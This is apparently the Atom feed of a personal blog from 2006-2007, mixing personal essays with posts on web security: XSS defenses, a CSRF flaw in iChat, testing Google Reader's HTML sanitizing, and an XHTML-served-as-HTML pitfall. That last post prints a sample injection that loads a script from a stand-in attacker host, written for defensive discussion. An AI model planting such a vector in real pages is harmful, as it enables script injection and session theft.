<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" gd:etag="W/&quot;A0MDQXs-fyp7ImA9WhZQFE4.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947</id><updated>2011-04-22T03:31:10.557+01:00</updated><category term="csrf" /><category term="phishing" /><category term="xss" /><category term="xhtml" /><category term="momby" /><category term="security" /><category term="macosx" /><category term="mac" /><category term="google-reader" /><category term="blogspot" /><title>Mark IJbema's Blog</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/MarkIjbemasBlog" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="markijbemasblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;A0MBQ3k6fyp7ImA9WBFbFk0.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-6934168485791641262</id><published>2007-05-08T09:29:00.000+01:00</published><updated>2007-05-08T08:30:52.717+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-05-08T08:30:52.717+01:00</app:edited><title>Silence</title><content type="html">I just read &lt;a href="whttp://www.scotthyoung.com/blog/2007/05/06/29-happiness-hacks-to-feel-better-now/"&gt;29 Happiness Hacks to Feel Better Now&lt;/a&gt;, and the tip I really liked is tip Eighteen:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;b&gt;Hack Eighteen: Silence&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Listen to the quiet. Turn off every sound possible so you can actually hear what silence sounds like. It might require a drive to a more secluded location, or turning off appliances in your house but near absolute silence is so rare it is amazing how beautiful it is when you can hear it.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;However it can be so hard to find a silent place nowadays. In my room I always hear music of neighbours (not that hard that it is annoying, but i still hear it), my computer, and several other small sounds.&lt;br /&gt;&lt;br /&gt;Even when I go for a walk outside the city it still hard to get silence. Recently I took a walk along the Paterswoldse Meer, and though it's nice and relatively quiet there at night, you still hear the cars from the nearby highway.&lt;br /&gt;&lt;br /&gt;I remember skiing down a closed black piste with a friend of mine, and since it was closed (meaning you're not insured if you get an accident) and black (meaning it's comparatively hard) there was no-one there. And as the piste went around a mountain, at some point you could see neither hear the other pistes. Shocked by the silence I first comfirmed that "Ezel" was indeed the mayor of "Wezel".&lt;br /&gt;&lt;br /&gt;We decided to lie down for a moment and to listen to the silence. And it was right there I discovered I haven't heared silence for a long time. This was really a weird discovery, because you're in enough "silent" situations; when in the library, while making an exam, etc. However, it's only when you hear perfect silence you realise you actually never experience real silence.&lt;br /&gt;&lt;br /&gt;When was the last time you experienced silence?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-6934168485791641262?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/6934168485791641262/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=6934168485791641262" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/6934168485791641262?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/6934168485791641262?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/05/silence.html" title="Silence" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>7</thr:total></entry><entry gd:etag="W/&quot;D0YGQXg_fyp7ImA9WBFbFUw.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-3083603386576827355</id><published>2007-05-07T19:17:00.000+01:00</published><updated>2007-05-07T06:18:40.647+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-05-07T06:18:40.647+01:00</app:edited><title>Jonathan Swift on Security Theater</title><content type="html">Recently I stumbled upon a passage in &lt;a href="http://www.gutenberg.org/dirs/etext97/gltrv10h.htm"&gt;Gulliver's Travels&lt;/a&gt; where Gulliver visits the Academy of Projectors. In this Academy, projectors invent great projects, however there seem to be some practical downsides (aka, the plans don't work). After visiting a professor extracting sunbeams out of cucumbers, a professor who tried to restore the original food from human excrements, a professor who decided it was better to build buildings top-down, since that was how spiders built them and several others, he came into the political department. Here he met another professor:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Another professor showed me a large paper of instructions for discovering plots and conspiracies against the government.  He advised great statesmen to examine into the diet of all suspected persons; their times of eating; upon which side they lay in bed; with which hand they wipe their posteriors; take a strict view of their excrements, and, from the colour, the odour, the taste, the consistence, the crudeness or maturity of digestion, form a judgment of their thoughts and designs; because men are never so serious, thoughtful, and intent, as when they are at stool, which he found by frequent experiment; for, in such conjunctures, when he used, merely as a trial, to consider which was the best way of murdering the king, his ordure would have a tincture of green; but quite different, when he thought only of raising an insurrection, or burning the metropolis.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Which &lt;a href="http://www.schneier.com/blog/archives/2006/12/american_author_1.html"&gt;reminded&lt;/a&gt; me of &lt;a href="http://www.schneier.com/blog/archives/2007/03/citizen_counter.html"&gt;a&lt;/a&gt; &lt;a href="http://www.schneier.com/blog/archives/2007/01/do_terrorists_l.html"&gt;lot&lt;/a&gt; &lt;a href="http://www.schneier.com/blog/archives/2006/11/new_us_customs.html"&gt;of&lt;/a&gt; &lt;a href="http://www.schneier.com/blog/archives/2006/12/automated_targe.html"&gt;posts&lt;/a&gt; on &lt;a href="http://www.schneier.com/blog/archives/2007/03/the_difficulty.html"&gt;Security Theater&lt;/a&gt; and &lt;a href="http://www.schneier.com/blog/archives/2007/01/in_praise_of_se.html"&gt;profiling&lt;/a&gt; in the aviation industry which I read on &lt;a href="http://www.schneier.com/blog/"&gt;Schneiers blog&lt;/a&gt; recently, however, it reminded me the most on the report of the development of a &lt;a href="http://www.schneier.com/blog/archives/2007/02/the_doghouse_on.html"&gt;new technology which registers wether someone on board of a plane is a terrorist by watching how they act&lt;/a&gt;. Maybe they should put technology in the toilets instead ;). I really like how a &lt;a href="http://en.wikipedia.org/wiki/Gulliver's_Travels"&gt;300-year old satire&lt;/a&gt; still is so uptodate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-3083603386576827355?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/3083603386576827355/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=3083603386576827355" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/3083603386576827355?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/3083603386576827355?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/05/jonathan-swift-on-security-theater.html" title="Jonathan Swift on Security Theater" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0YBRXo_eip7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-7190119943004387222</id><published>2007-04-14T12:09:00.000+01:00</published><updated>2007-04-17T06:52:34.442+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.442+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="momby" /><category scheme="http://www.blogger.com/atom/ns#" term="phishing" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Month of Myspace Bugs, Yuss!</title><content type="html">After the &lt;a href="http://browserfun.blogspot.com/2006/07/welcome-to-browser-fun-blog.html"&gt;month of the browser bugs&lt;/a&gt;, the &lt;a href="http://projects.info-pull.com/mokb/"&gt;month of the kernel bugs&lt;/a&gt;, the &lt;a href="http://projects.info-pull.com/moab/"&gt;month of the apple bugs&lt;/a&gt; and the &lt;a href="http://www.php-security.org/"&gt;month of the php bugs&lt;/a&gt; this month is &lt;a href="http://momby.livejournal.com/"&gt;the month of the myspace bugs&lt;/a&gt;. While this initiave takes itself a bit less serious and also parodies the other month-of's it's still interesting. They show a lot of nice application level exploits and explain wether they are hard or not and why. So check it out if you're into &lt;a href="http://momby.livejournal.com/4793.html"&gt;XSS&lt;/a&gt;, &lt;a href="http://momby.livejournal.com/4250.html"&gt;phishing&lt;/a&gt;, etc. Also make sure you check their recent post on &lt;a href="http://momby.livejournal.com/4434.html"&gt;operational security&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-7190119943004387222?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/7190119943004387222/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=7190119943004387222" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7190119943004387222?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7190119943004387222?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/04/month-of-myspace-bugs-yuss.html" title="Month of Myspace Bugs, Yuss!" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0YBRXo_eyp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-9059448739778623796</id><published>2007-04-12T15:17:00.000+01:00</published><updated>2007-04-17T06:52:34.443+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.443+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>XSS defense in depth measures</title><content type="html">Last night i was thinking about defense in depth against XSS. It is not always an option to rewrite big parts of an application (since it's a commercial package for instance). So I am searching for methods which could be implemented easily using for instance one (server-side) include at the start of each page. These are the options I thought of. If anyone has additional defense in depth methods I'd really like to hear.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;   &lt;li&gt;&lt;span style="font-weight: bold;"&gt;Referrer checking&lt;/span&gt;&lt;br /&gt;If some page should only be called from your own site, you shouldn't allow other sites. Of course this is no real protection since people use (stupid) firewalls which block the referrer. Also, it does not stop attacks from the same site (using XSS for example).&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;&lt;span style="font-weight: bold;"&gt;Disallow certain characters in parameters&lt;/span&gt;&lt;br /&gt;This might not be able for every site but if it is it might help. You can of course forbid certain characters like &lt;. This might not prevent all attacks but it might keep a few out of the door. Of course this is only possible if your site doesn't need to accept less than signs. &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;HTTPOnly cookies&lt;/span&gt;&lt;br /&gt;While this doesn't help preventing XSS it helps against one of the standard exploits. If you use HTTPOnly cookies MSIE and Firefox 3 users can't have their cookies (=sessions) stolen. This prevents a remote takeover from a session. However, one can still put a script in the payload which already does nasty stuff, or hijack the session using some sort of XSS shell.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Advanced referrrer checking&lt;/span&gt;&lt;br /&gt;You could improve on referrer checking by defining a graph of pages. In this graph you'd need to mention all allowed steps from one page to the next, and only allow those. Of course this is rather labour intensive. Alternatively you could `record' steps taken for a month or so and base your graph upon that.&lt;/li&gt;   &lt;li&gt;&lt;span style="font-weight: bold;"&gt;Parameter checking&lt;br /&gt;&lt;/span&gt;If the parameters are well-defined you could add an extra kind of software firewall in front off the application which checks wether the values contain ``valid'' values (for instance, wether id's are integers). Again this is labour intensive, and again it might be possible to automate this by recording currently used values and doing some smart heuristics on them.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Crippling Javascript&lt;/span&gt;&lt;br /&gt;This won't help against XSS either, but like HTTPOnly cookies it will reduce the impact. For instance you could overwrite the XMLHttpRequest object if you're not using it, so it can't be used in any exploit&lt;/li&gt;  &lt;/ol&gt;So now it's your turn, do you have any simple methods which can improve the security? (I'm aware that the only solution is to code secure applications)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-9059448739778623796?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/9059448739778623796/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=9059448739778623796" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/9059448739778623796?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/9059448739778623796?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/04/xss-defense-in-depth-measures.html" title="XSS defense in depth measures" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;A0YBRXo-eSp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-8514698802320689868</id><published>2007-01-12T11:32:00.000+01:00</published><updated>2007-04-17T06:52:34.451+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.451+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="blogspot" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>XSS in Blogspot</title><content type="html">Yesterday &lt;a href="http://ha.ckers.org/blog/20070111/blogspot-xss-for-safari/"&gt;RSnake posted&lt;/a&gt; about a ``XSS'' hole in Blogger. I don't really think it's XSS if you can only inject on your own blog, but whatever.  It didn't sound too interesting that it was safari-only either, so I decided to extend the exploit to MSIE and Firefox, so here it is:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://nightofthexss.blogspot.com/"&gt;http://nightofthexss.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For the exploit I use that Firefox actually parses comments correctly and that MSIE has support for conditional comments.&lt;br /&gt;&lt;br /&gt;Kudos to Jose Avila for the &lt;a href="http://www.beanfuzz.com/wordpress/?p=99"&gt;original exploit&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-8514698802320689868?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/8514698802320689868/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=8514698802320689868" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/8514698802320689868?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/8514698802320689868?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/01/xss-in-blogspot.html" title="XSS in Blogspot" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>5</thr:total></entry><entry gd:etag="W/&quot;A0cDSXk9eCp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-3848328737210566058</id><published>2007-01-05T14:24:00.000+01:00</published><updated>2007-04-17T06:51:18.760+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:51:18.760+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="mac" /><category scheme="http://www.blogger.com/atom/ns#" term="macosx" /><title>Month of the Apple Bugs</title><content type="html">I have a few hippie friends who use a Mac. They used to claim their OS was safer, but now they can't anymore ;). It's the &lt;a href="http://projects.info-pull.com/moab/"&gt;Month of the Apple Bugs&lt;/a&gt;. But since I like my RSS reader I decided to make a &lt;a href="http://ijbema.home.fmf.nl/feeds/moab.cgi"&gt;feed&lt;/a&gt;, enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-3848328737210566058?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/3848328737210566058/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=3848328737210566058" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/3848328737210566058?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/3848328737210566058?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2007/01/month-of-apple-bugs.html" title="Month of the Apple Bugs" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0YBRXo-eip7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-1748497964398702882</id><published>2006-12-22T09:35:00.000+01:00</published><updated>2007-04-17T06:52:34.452+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.452+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Why don't people take XSS seriously?</title><content type="html">Recently RSnake wrote an article &lt;a href="http://ha.ckers.org/blog/20061211/exponential-xss-attacks/"&gt;on the seriousness of XSS&lt;/a&gt;, because a lot of people are asking him what the worst thing is XSS can do. He goes on about how it can be used to do sophisticated cross-domain exponential attacks, but he doesn't touch too much upon the underlying problem. Why are people asking this question?&lt;br /&gt;&lt;br /&gt;In my experience people don't see XSS as a problem. This is since the people who should care about it are system administrators and/or programmers. They're the same people who think Linux is safe because each user can only fuck up his own files. And this is the fundamental problem! Sure, a user can &lt;span style="font-style: italic;"&gt;only&lt;/span&gt; fuck up his own files, but those are the only important files to the user. The user couldn't care less if the systems emacs binary becomes crippled. Because It is easy to replace everything in the system, but not the user files.&lt;br /&gt;&lt;br /&gt;It's the same with XSS versus SQL injection. SQL injection is seen as a serious problem since you can attack the system. But you don't need to attack the system, attacking the client is enough. Let's say I want to hack a bank, because of a lack of money. Of course if I could do SQL injection (let's say this bank uses a mysql database ;) ) and change some of the amounts and end up with a lot more money.&lt;br /&gt;&lt;br /&gt;However, I don't really need 5 million euro's and I'll settle for a few thousand. If I can just hack one account and make one user do a deposit to my account, wouldn't that be enough? Similarly, if I'm a student and I want to change my grades, I only need to hack the teachers account. And these are typically the kind of attacks most easily done by XSS. You only need to find one XSS exploit somewhere on the site and then  need to social engineer someone to click on a link (which doesn't even have to be to the site, but can be a redirect) or if you're lucky you can even use persistent XSS. And almost all sites I know of are full of XSS, while fewer and fewer have SQL injection leaks.&lt;br /&gt;&lt;br /&gt;So what can you do with XSS? &lt;span style="font-weight: bold;"&gt;Anything the person you are hacking can do.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-1748497964398702882?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/1748497964398702882/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=1748497964398702882" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/1748497964398702882?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/1748497964398702882?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2006/12/why-dont-people-take-xss-seriously.html" title="Why don't people take XSS seriously?" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total></entry><entry gd:etag="W/&quot;A0YBRXo-eyp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-955015345771213443</id><published>2006-12-16T17:16:00.001+01:00</published><updated>2007-04-17T06:52:34.453+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.453+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>CSRF in iChat</title><content type="html">A year ago or so I discovered that iChat does not only share the rendering engine, but also the cookie manager with Safari. So you can CSRF someone over at least AIM (i don't know wether other protocols support html as well) by sending them an HTML message. The HTML message can contain an img tag, and thus execute a CSRF.&lt;br /&gt;&lt;br /&gt;Since a friend of mine reported this bug when I found it, and they still haven't fixed it it seemed like the time to publish it. I also wonder wether other clients also share this problem (for instance windows clients using the msie rendering engine).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-955015345771213443?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/955015345771213443/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=955015345771213443" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/955015345771213443?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/955015345771213443?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2006/12/csrf-in-ichat.html" title="CSRF in iChat" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0YBRXozeip7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-9093133592822238561</id><published>2006-12-14T19:12:00.000+01:00</published><updated>2007-04-17T06:52:34.482+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.482+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="google-reader" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Google Reader security</title><content type="html">Since I was bored I decided to test the Google Reader security (I like to make sure that the websites I use are at least moderately secure). Also, since this is a community application (via the shared feeds) a XSS exploit could spread quite easily (like the MySpace worm).&lt;br /&gt;&lt;br /&gt;But Google has actually implemented a decent security scheme. As far as i can see they actually parse the html (and xhtml) generate new html from the parse tree. They also prevent the hack which i thought of recently by stripping CDATA sections and replacing them by their html-encoded content.&lt;br /&gt;&lt;br /&gt;I also tried injecting into the style property, but they actually seem to parse the css as well. At least to me this approach seems pretty solid. That is, it is the approach I always advise to people. Parse everything, make a (xml) tree, and use a whitelisting filter (for example XSLT) to select the allowed properties). The hard part is to parse the domain languages (javascript, css) and they seem to handle that properly as well. Good to see a webapp/website that actually thought about their security :) (though I must admit it is a bit disappointing to search for exploits for some time and find none ;) ).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-9093133592822238561?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/9093133592822238561/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=9093133592822238561" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/9093133592822238561?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/9093133592822238561?v=2" /><link rel="alternate" type="text/html" href="http://markijbema.blogspot.com/2006/12/google-reader-security.html" title="Google Reader security" /><author><name>Mark IJbema</name><uri>http://www.blogger.com/profile/12619570589502015540</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0YBRXozeyp7ImA9WBFVF0U.&quot;"><id>tag:blogger.com,1999:blog-4298878780682526947.post-7193940061501706329</id><published>2006-12-13T22:59:00.000+01:00</published><updated>2007-04-17T06:52:34.483+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-04-17T06:52:34.483+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xhtml" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Xhtml XSS exploit</title><content type="html">A few days ago I was discussing the security of our company's new webframework with &lt;a href="http://eamon.nerbonne.org/"&gt;Eamon&lt;/a&gt;. This framework is by design quite XSS-safe. Because the whole website is XML based we need to use XML everywhere. And if we take the user input as XHTML instead of HTML it's much easier to make sure it's valid. And it's very easy to clear a valid XHTML fragment of XSS attacks (by only allowing reasonable tags, and doing some filtering on valid urls).&lt;br /&gt;&lt;br /&gt;But there's one pitfall. Since some browsers (looking at you MSIE) don't understand XHTML we need to serve the pages as text/html. If we now choose to serve the XHTML as is we might run into some trouble. Since XHTML allows some constructs which mean nothing in HTML we might be able to create a valid and safe XHTML document, which isn't safe if served as HTML. For instance, this is a possible attack vector.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;![CDATA[ &amp;gt;&lt;br /&gt;&amp;lt;script src="http://evilhaxor.org/evilscript.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt; ]]&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;But since I'm not that skilled in XML, I don't know all possible constructs. But it might also be possible to do nasty things with namespaces for instance (let's say the script namespace). If anyone has additional attack vectors i'm very interested :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4298878780682526947-7193940061501706329?l=markijbema.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://markijbema.blogspot.com/feeds/7193940061501706329/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4298878780682526947&amp;postID=7193940061501706329" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7193940061501706329?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4298878780682526947/posts/default/7193940061501706329?v=2" /><link rel="alternate" type="text/html" 